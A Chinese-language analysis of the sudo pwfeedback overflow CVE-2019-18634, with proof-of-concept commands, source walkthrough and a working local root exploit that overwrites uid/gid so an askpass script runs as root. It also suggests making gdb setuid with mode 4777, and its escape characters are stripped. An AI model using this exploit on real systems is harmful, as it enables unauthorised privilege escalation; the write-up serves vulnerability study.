CVE-2019-18634 sudo 提权漏洞分析

 

在这篇文章中,我们将对近期刚刚修复sudo程序漏洞(CVE-2019-18634)进行分析,该漏洞需要在开启pwfeedback选项才能出发,一旦成功利用,攻击者将有可能实现本地提权。影响版本 1.7.1 - 1.8.30

接下来,我们将对该漏洞进行分析。

 

环境配置

后面的分析都会在以上的环境下进行

 

漏洞分析

pwfeedback 选项

pwfeedback,也就是 password feedback,开启之后在输入密码的时候会有视觉反馈,显示*号, 如下图, 默认情况下不会开启,某些Linux发行版本(Linux Mint和Elementary OS)会默认开启这个选项

开启的方法是在/etc/sudoers 文件中添加一行Defaults pwfeedback

编译 sudo 1.8.25

下载sudo 1.8.25 版本的源码

wget https://www.sudo.ws/dist/sudo-1.8.25.tar.gz

tar 解包之后进入源码目录按照默认选项编译安装即可

./configure ;make -j16 ; make install

在测试过程中,系统自带的sudo是 1.8.21p1 版本, 安装位置在 /usr/bin/sudo
自己编译的版本安装位置在 /usr/local/bin/sudo

从poc定位漏洞点

官方给出了两个 poc, poc1适用 sudo 1.8.25p1 以下的版本, poc2 则适用sudo 1.8.26 - 1.8..30 , 下面我们将从漏洞触发定位到漏洞代码,并分析漏洞的成因
poc1

 perl -e 'print(("A" x 100 . "x{00}") x 50)' | sudo -S id
 Password: Segmentation fault

poc2

$ socat pty,link=/tmp/pty,waitslave exec:"python -c 'print(("A"*100+chr(0x15))*50)'" &
$ sudo -S id < /tmp/pty

poc1 分析

先看 poc1, sudo -S 表示从标准输入读取密码,密码这里传入的是50个 "AAAAA....x00", 然后直接段错误
为了方便定位漏洞,我们可以用 asan 重新编译一下程序, 配置的时候加上--enabble-asan选项即可

make clean ; ./configure --enable-asan ; make -j16 ; make install

运行 poc 之后可以看到下面的输出

从错误输出可以看出,最后的漏洞触发点是在tgetpass.cgetln函数上,对应345行。 我们继续看看代码,这里对一些关系不大的代码做了删减。

static char *
getln(int fd, char *buf, size_t bufsiz, int feedback)
{
    size_t left = bufsiz; //256
    ssize_t nr = -1;
    char *cp = buf;
    char c = '';

    while (--left) {
        nr = read(fd, &c, 1);//读取密码
        if (nr != 1 || c == 'n' || c == 'r')
            break;
        if (feedback) {
        // pwfeedback 开启时
            if (c == sudo_term_kill) {
            while (cp > buf) {
                if (write(fd, "b b", 3) == -1)
                break;
                --cp;
            }
            left = bufsiz;
            continue;
            } else if (c == sudo_term_erase) {
            if (cp > buf) {
                if (write(fd, "b b", 3) == -1)
                break;
                --cp;
                left++;
            }
            continue;
            }
            ignore_result(write(fd, "*", 1));
        }
        *cp++ = c;// <== 345
    }
...
}

getln 函数的作用是获取一行的密码输入,用于后序的校验。

从代码可以看出,这里是一个while 循环,每次读取一个字符,在 pwfeedback没有开启的时候,会将字符拷贝到 buf
打开pwfeedback后,会有sudo_term_killsudo_term_erase两个判断

lib/util/term.c 中可以找到它们的赋值点, 这里的term.c_cc 是终端的termios 配置, 具体可以参考这个网址

    sudo_term_erase = term.c_cc[VERASE];
    sudo_term_kill = term.c_cc[VKILL];

也可以用stty -a 命令查看当前的终端配置

kill char 和终端的ctrl+U快捷键对应,会删除当前行的所有字符。对应前面的代码如下, cp 是已经读取字符的指针,buf是起始地址,bbackspace键对应,"b b" 相当于删除一个字符,于是这个while 循环结束之后,cp 会回到buf的位置,也就是删除一行了。

if (c == sudo_term_kill) {
    while (cp > buf) {
        if (write(fd, "b b", 3) == -1)
            break;
        --cp;
    }
    left = bufsiz;
    continue;
}

这里也是漏洞触发点所在。因为poc1并不是在终端获取输入流,而是从管道,这里term.c_cc[VKILL] 会保持初始化的值,也就是x00, 所以传入x00的时候会进入这段代码,但是这个管道是单向管道,往管道写"b b"会失败然后break出while循环,问题也就是出现在这里,跳出while (cp > buf)这个循环之后,cp的位置没有改变,但是可以读取的最大字符数left又变成了bufsiz(从代码可找到是256).

所以只要不断传入类似"xxx...x00"的字符串,就可以不断向 buf里写东西,造成buf溢出。

poc2

okay, 理解了poc1的触发原理,那么我们再来看poc2就十分的简单了。

使用 poc2的原因是在sudo 1.8.26 中加入了对 EOF的处理,于是poc1就不管用了

        if (c == sudo_term_eof) {
        nr = 0;
        break;

但是如果是从终端获取输入流,也就是我们说的pty,情况就不一样了,我们可以在维基百科中找到eofkill 控制符对应的ascii. eof( EOT, ^D End-of-file character) 对应的ascii为0x04, kill为 0x15。 如果从pty获取输入流,那么这个漏洞就又复活了。

对应的 poc

socat pty,link=/tmp/pty,waitslave exec:"python -c 'print(("A"*100+chr(0x15))*50)'" &
$ sudo -S id < /tmp/pty

这里创建了一个临时的 pty, 然后还是将 payload 通过 pty 传到 sudo即可

接下来我们就来看看如何对这个漏洞进行利用。

调试

在分析的时候,查看内存是必不可少的,这里的做法是使用 gdb 结合 pwntools来调试

poc2对应的 py 代码如下

import sys,os
from pwn import *

TARGET=os.path.realpath("/usr/local/bin/sudo")

mfd, sfd = os.openpty()
fd = os.open(os.ttyname(sfd), os.O_RDONLY)

p = process([TARGET,"-S", "id"],stdin=fd)
pause()
payload = ("A"*100+"x15")*50
os.write(mfd, payload+"n")
pause()
sys.exit(0)

运行上面这段代码,等 pause()的使用再用 gdb attach进程即可

这里需要注意sudo运行时是root权限,所以gdb也需要用root权限运行,可以使用root用户或者给gdb添加 s权限chmod 4777 /usr/bin/gdb

 

漏洞利用

从前面的分析可以知道漏洞是可以溢出写buf,那么我们首先要要出buf在哪里

    static const char *askpass;
    static char buf[SUDO_CONV_REPL_MAX + 1];// 255+1
    int i, input, output, save_errno, neednl = 0, need_restart;
    debug_decl(tgetpass, SUDO_DEBUG_CONV)

buf 在 tgetpass函数定义,是static 类型,存放在内存的bss段上,所以可能可以溢出覆盖bss的一些内容

ida找一下引用可以看到 buf高地址的一些变量,其中 singo 表示运行时的一些信号,正常运行时值为0

tgetpass_flags 是sudo的一些标识位,一些功能的启用与否等. askpassuser_details 比较重要,我们看看它们是如何被使用的

user_details变量

user_details 字段保存的是用户的一些身份信息,如 uid, pid 等,

askpass

askpass和sudo -A 选项有关,作用是可以选择一个外部程序来传入密码。

具体的流程是

  • 1 环境变量SUDO_ASKPASS 指定外部程序地址
  • 2 sudo 运行加上-A选项,程序里面会设置TGP_ASKPASS 标识
  • 3 fork 出一个子进程来运行外部程序,父进程接收子进程的输出作为密码

具体代码在 tgetpass 函数开始处找到

 if (askpass == NULL) {
    askpass = getenv_unhooked("SUDO_ASKPASS");
    if (askpass == NULL || *askpass == '')
        askpass = sudo_conf_askpass_path();
    }
...
  /* If using a helper program to get the password, run it instead. */
    if (ISSET(flags, TGP_ASKPASS)) {
    if (askpass == NULL || *askpass == '')
        sudo_fatalx(U_("no askpass program specified, try setting SUDO_ASKPASS"));
    debug_return_str_masked(sudo_askpass(askpass, prompt));
    }

功能的具体实现可以在sudo_askpass 函数找到

static char *
sudo_askpass(const char *askpass, const char *prompt)
{
    ...
    child = sudo_debug_fork();

    if (child == 0) {
     // 子进程运行外部程序
    if (setuid(ROOT_UID) == -1)
        sudo_warn("setuid(%d)", ROOT_UID);
    if (setgid(user_details.gid)) {
        sudo_warn(U_("unable to set gid to %u"), (unsigned int)user_details.gid);
        _exit(255);
    }
    if (setuid(user_details.uid)) {
        sudo_warn(U_("unable to set uid to %u"), (unsigned int)user_details.uid);
        _exit(255);
    }
    closefrom(STDERR_FILENO + 1);
    //
    execl(askpass, askpass, prompt, (char *)NULL);
    sudo_warn(U_("unable to run %s"), askpass);
    _exit(255);
    }
    //父进程从子进程获取输入流,
    /* Get response from child (askpass). */
    pass = getln(pfd[0], buf, sizeof(buf), 0);

    /* Wait for child to exit. */
    for (;;) {
    pid_t rv = waitpid(child, &status, 0);


}

sudo_askpass会fork出一个子进程来运行外部程序,子进程的输出作为父进程的输入,这使用会调用 getln函数,但并不会启用pwfeedback 机制。

子进程的权限通过user_details.uiduser_details.gid来设置,这两个值我们是可以通过漏洞改写掉的,也就是说我们可以通过这里用root权限来运行程序

漏洞利用

okay 我们整理一下当前获取到的点

  • 1 在不使用 askpass的情况下会使用 pwfeedback
  • 2 用pwfeedback的漏洞可以修改 user_details的uid和gid
  • 3 askpass 可以根据user_details的uid和gid运行外部程序

我们知道,默认情况下 sudo -s 可以有三次输入密码的机会,这个也是可以利用的点,基本利用流程如下

  • 1 设置环境变量SUDO_ASKPASS指定外部程序,不加 -A选项
  • 2 利用 漏洞将 user_details 的 pid 和 gid 覆盖成 0 , 并启用askpass功能(TGP_ASKPASS flags)
  • 3 第二次输入密码 ,root 权限运行外部程序

漏洞利用的代码可以参考iamalsaher的代码

这里我给出自己的利用过程作为参考

prb@prbvv:~/sudo-cve-2019-18634$ cat aa.sh 
#!/bin/bash
id > end
prb@prbvv:~/sudo-cve-2019-18634$ python -c "from pwn import *;print 'x00x15'*548+p64(6)+'x00x15'*20+p64(0)*2+p32(0)+'x00'*3+'n'" > poc
prb@prbvv:~/sudo-cve-2019-18634$ socat pty,link=/tmp/pty,waitslave exec:"cat /home/prb/sudo-cve-2019-18634/poc" &
[1] 2380
prb@prbvv:~/sudo-cve-2019-18634$ SUDO_ASKPASS=/home/prb/sudo-cve-2019-18634/aa.sh sudo -S id < /tmp/pty
密码:
对不起,请重试。
sudo: 1 次错误密码尝试
prb@prbvv:~/sudo-cve-2019-18634$ cat end
uid=0(root) gid=1000(prb) 组=1000(prb),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
[1]+  已完成               socat pty,link=/tmp/pty,waitslave exec:"cat /home/prb/sudo-cve-2019-18634/poc"
prb@prbvv:~/sudo-cve-2019-18634$ ls
aa.sh  e1xp.py  end  exp.py  exp.sh  mm  poc  sudo  sudo-1.8.25  sudo-1.8.25.tar.gz

 

小结

CVE-2019-18634 是一个 bss变量溢出漏洞,只有在开启 pwfeedback机制的时候才可能触发,最终利用可以使用root权限执行任意程序,危害较大。

 

引用

(完)